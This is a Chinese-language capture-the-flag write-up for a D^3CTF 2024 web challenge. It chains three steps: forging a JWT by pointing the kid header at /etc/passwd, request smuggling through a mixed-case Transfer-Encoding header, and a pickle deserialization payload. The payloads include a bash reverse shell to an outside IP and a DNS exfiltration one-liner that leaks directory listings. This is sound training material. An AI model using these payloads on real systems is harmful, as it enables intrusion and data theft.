D3CTF_2024

“凌武杯“D^3CTF 2024年

没时间打,就小写了一个题,wtcl,TuT

给了源码

backend的app.py

import web
import pickle
import base64

urls = (
'/', 'index',
'/backdoor', 'backdoor'
)
web.config.debug = False
app = web.application(urls, globals())


class index:
def GET(self):
return "welcome to the backend!"

class backdoor:
def POST(self):
data = web.data()
# fix this backdoor
if b"BackdoorPasswordOnlyForAdmin" in data:
return "You are an admin!"
else:
data = base64.b64decode(data)
pickle.loads(data)
return "Done!"


if __name__ == "__main__":
app.run()

frontendapp.py

from flask import Flask, request, redirect, render_template_string, make_response
import jwt
import json
import http.client

app = Flask(__name__)

login_form = """
<form method="post">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
"""

@app.route('/', methods=['GET'])
def index():
token = request.cookies.get('token')
if token and verify_token(token):
return "Hello " + jwt.decode(token, algorithms=["HS256"], options={"verify_signature": False})["username"]
else:
return redirect("/login", code=302)

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == "POST":
user_info = {"username": request.form["username"], "isadmin": False}
key = get_key("frontend_key")
token = jwt.encode(user_info, key, algorithm="HS256", headers={"kid": "frontend_key"})
resp = make_response(redirect("/", code=302))
resp.set_cookie("token", token)
return resp
else:
return render_template_string(login_form)

@app.route('/backend', methods=['GET', 'POST'])
def proxy_to_backend():
forward_url = "python-backend:8080"
conn = http.client.HTTPConnection(forward_url)
method = request.method
headers = {key: value for (key, value) in request.headers if key != "Host"}
data = request.data
path = "/"
if request.query_string:
path += "?" + request.query_string.decode()
conn.request(method, path, body=data, headers=headers)
response = conn.getresponse()
return response.read()

@app.route('/admin', methods=['GET', 'POST'])
def admin():
token = request.cookies.get('token')
if token and verify_token(token):
if request.method == 'POST':
if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
forward_url = "python-backend:8080"
conn = http.client.HTTPConnection(forward_url)
method = request.method
headers = {key: value for (key, value) in request.headers if key != 'Host'}
data = request.data
path = "/"
if request.query_string:
path += "?" + request.query_string.decode()
if headers.get("Transfer-Encoding", "").lower() == "chunked":
data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
if "BackdoorPasswordOnlyForAdmin" not in data:
return "You are not an admin!"
conn.request(method, "/backdoor", body=data, headers=headers)
return "Done!"
else:
return "You are not an admin!"
else:
if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
return "Welcome admin!"
else:
return "You are not an admin!"
else:
return redirect("/login", code=302)

def get_key(kid):
key = ""
dir = "/app/"
try:
with open(dir+kid, "r") as f:
key = f.read()
except:
pass
print(key)
return key

def verify_token(token):
header = jwt.get_unverified_header(token)
kid = header["kid"]
key = get_key(kid)
try:
payload = jwt.decode(token, key, algorithms=["HS256"])
return True
except:
return False

if __name__ == "__main__":
app.run(host = "0.0.0.0", port = 8081, debug=False)

先看看逻辑,首先frontend

/路由会从cookie中获取用户名显示,如果没有登录则跳转login

/login接受用户名传参,然后通过get_key函数来获取key文件加密jwt,这里要注意的是{"kid": "frontend_key"}get_key函数

/backend则是通过发起http请求,从frontend访问backend,但是只能访问/路由,虽然能控制methoddata,但是路由不能控制,应该没什么用

/admin则是重点,首先通过verify_token()来校验jwt,看看jwt是否能成功解密;接着判断是否POST请求;再判断jwt中的isadmin是否为true,能看到,在所有的注册以及jwt操作流程中都是isadminfalse的操作,所以这里肯定是要伪造的;过了以上判断以后,就能构造httpPOST请求去访问/backdoor路由,请求头用当前请求的,data则使用当前的data经过一些构造的,同时当前请求还要带上BackdoorPasswordOnlyForAdmin字符串才能发送代理请求访问backdoor

然后是backend中,/backdoor是将收到的data数据来pickle反序列化,明显是打这个点了,而且data中还不能包含BackdoorPasswordOnlyForAdmin,那攻击流程就是伪造jwt来发起请求访问/backdoor,携带pickle序列化的base64字符串去攻击,没有waf,直接用index__reduce__或者自己构造一个R指令的序列化都可以

首先是伪造,在get_key()函数中可以知道他是读取了文件夹中的文件来当key返回,在登录的时候用到,参数固定为frontend_keyverify_token中也用到get_key(),而/admin用到verify_token,参数有jwt的kid中取出,注意verify_token里用了get_unverified_header()来取文件名,不会校验,那就可控;我们只要自己选则一个文件来加密伪造jwt,并且在jwt的header中把kid该成我们选择的文件就好,而题目又给了docker附件,那就可以用/etc/passwd来伪造,先去容器中读/etc/passwd

image-20240429022204943

然后用jwt.io来加密

image-20240429022550838

然后替换,去访问/admin

image-20240429022706011

变成welcome了,说明成功了

接下来就是POST传参,跟pickle的问题了

虽然他写了if headers.get("Transfer-Encoding", "").lower() == "chunked"这个判断,但是其实是一定要满足这个,因为不经过这个判断里面的decode()byte类型的data不能跟下一个判断中的str类型的BackdoorPasswordOnlyForAdmin做判断会报错.

请求头中的Transfer-Encoding: chunked则表示POST请求的数据一定要按照格式来,分成多块来接受数据,每一块2部分,一部分表示长度,一部分是数据体,例如:

image-20240429023235250

fc是表示这一块有0xfc长度的数据,接着就是0xfc长度的数据内容;下一块是0x1c长度的内容,最后的0\r\n\r\n\r\n则表示数据 传输结束了,这样子后端收到的数据就会使0xfc+0x1c长的那两部分数据

按照上图的数据发送过去,就能发出一个去往/backdoor的请求,但是显然因为数据里面携带的BackdoorPasswordOnlyForAdmin,所以肯定是没有触发pickle番序列化的,再接着往下看

两个web服务用到是不同的框架flaskfrontendweb.pybackend,重点看看两处接受数据的代码

frontendrequests.data

image-20240429025635469

能看到,这个是先用chunked读取数据的

再看看web.pydata():

def data():
"""Returns the data sent with the request."""
if "data" not in ctx:
if ctx.env.get("HTTP_TRANSFER_ENCODING") == "chunked":
ctx.data = ctx.env["wsgi.input"].read()
else:
cl = intget(ctx.env.get("CONTENT_LENGTH"), 0)
ctx.data = ctx.env["wsgi.input"].read(cl)
return ctx.data

这个就首先看请求头中的TRANSFER_ENCODING是不是等于chunked,如果不是就用Content-Length来获取数据了

这里就有问题了,在frontend中是headers.get("Transfer-Encoding", "").lower()使用了lower()的,但是发起代理请求的时候使用原来的请求头,那么Transfer-Encoding就会传过去,但是backend的判断没有用lower(),所以如果我们设置成Transfer-Encoding: chunkEd这样的,携带大写字母,那么在/admin中就会用chunked方式获取数据,但是到/backdoor中就会用Content-Length,只要我们设置好长度,我们就能截断BackdoorPasswordOnlyForAdmin,从而进入pickle反序列化

序列化用这个

class index:
def GET(self):
return "welcome to the backend!"

def __reduce__(self):
return (eval, ("""__import__('os').system("/bin/bash -c 'bash -i >& /dev/tcp/120.76.194.25/2323 0>&1'")""",))

a = index()
print(pickle.dumps(data))

# 或者
a=b'''cos\nsystem\nX\x06\x00\x00\x00whoami\x85R.'''
print(base64.b64encode(a))

那我们就构造数据,base64在前面,BackdoorPasswordOnlyForAdmin在后面,Content-Length设置为base64的长度,请求头添加Transfer-Encoding: chunkEd:

POST /admin HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Origin: http://127.0.0.1:8081
Connection: close
Transfer-Encoding: chunKed
Content-Length: 168
Referer: http://127.0.0.1:8081/admin
Cookie: token=eyJhbGciOiJIUzI1NiIsImtpZCI6Ii4uLy4uL2V0Yy9wYXNzd2QiLCJ0eXAiOiJKV1QifQ.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNhZG1pbiI6dHJ1ZX0.lD3FHINVu-EKEnBKsu9yRNXNgLYHYRDu10uTImAdjW0

a8
...base64 string
1c
BackdoorPasswordOnlyForAdmin
0


然后本地开的docker就反弹shell过来了

image-20240429030816389

但是。。。。。。远程并没有通,汗流浃背了(难道是不出网吗,但是docker也没有写不出网?

虽然不出网,但是猜测dns是出网的,构造来测试一下

a=b'''cos\nsystem\nX\xcf\x00\x00\x00python3 -c "import socket,base64,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);socket.gethostbyname('skvfbt.dnslog.cn');"\x85R.'''
print(base64.b64encode(a))
print(hex(len(base64.b64encode(a))))
print((len(base64.b64encode(a))))

得到的数据填上去发包

image-20240429045732965

果然出网的,那就dns外带吧,继续构造,先看根目录下有什么,然后读取

# 域名一级限制60字符,截取分段读取
a=b'''cos\nsystem\nX\xc7\x00\x00\x00python3 -c "import socket,base64,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);d=base64.b64encode(os.popen('ls /').read().encode()).decode()[:60];socket.gethostbyname(d+'.bz4tx5.dnslog.cn');"\x85R.'''

print(base64.b64encode(a))
print(hex(len(base64.b64encode(a))))
print((len(base64.b64encode(a))))

image-20240429051315162

image-20240429051340948

ok,文件名有了直接读取,操作一样的,知识要注意base64可能有=在后面,建议截取的时候配合[:-2]使用

image-20240429050831725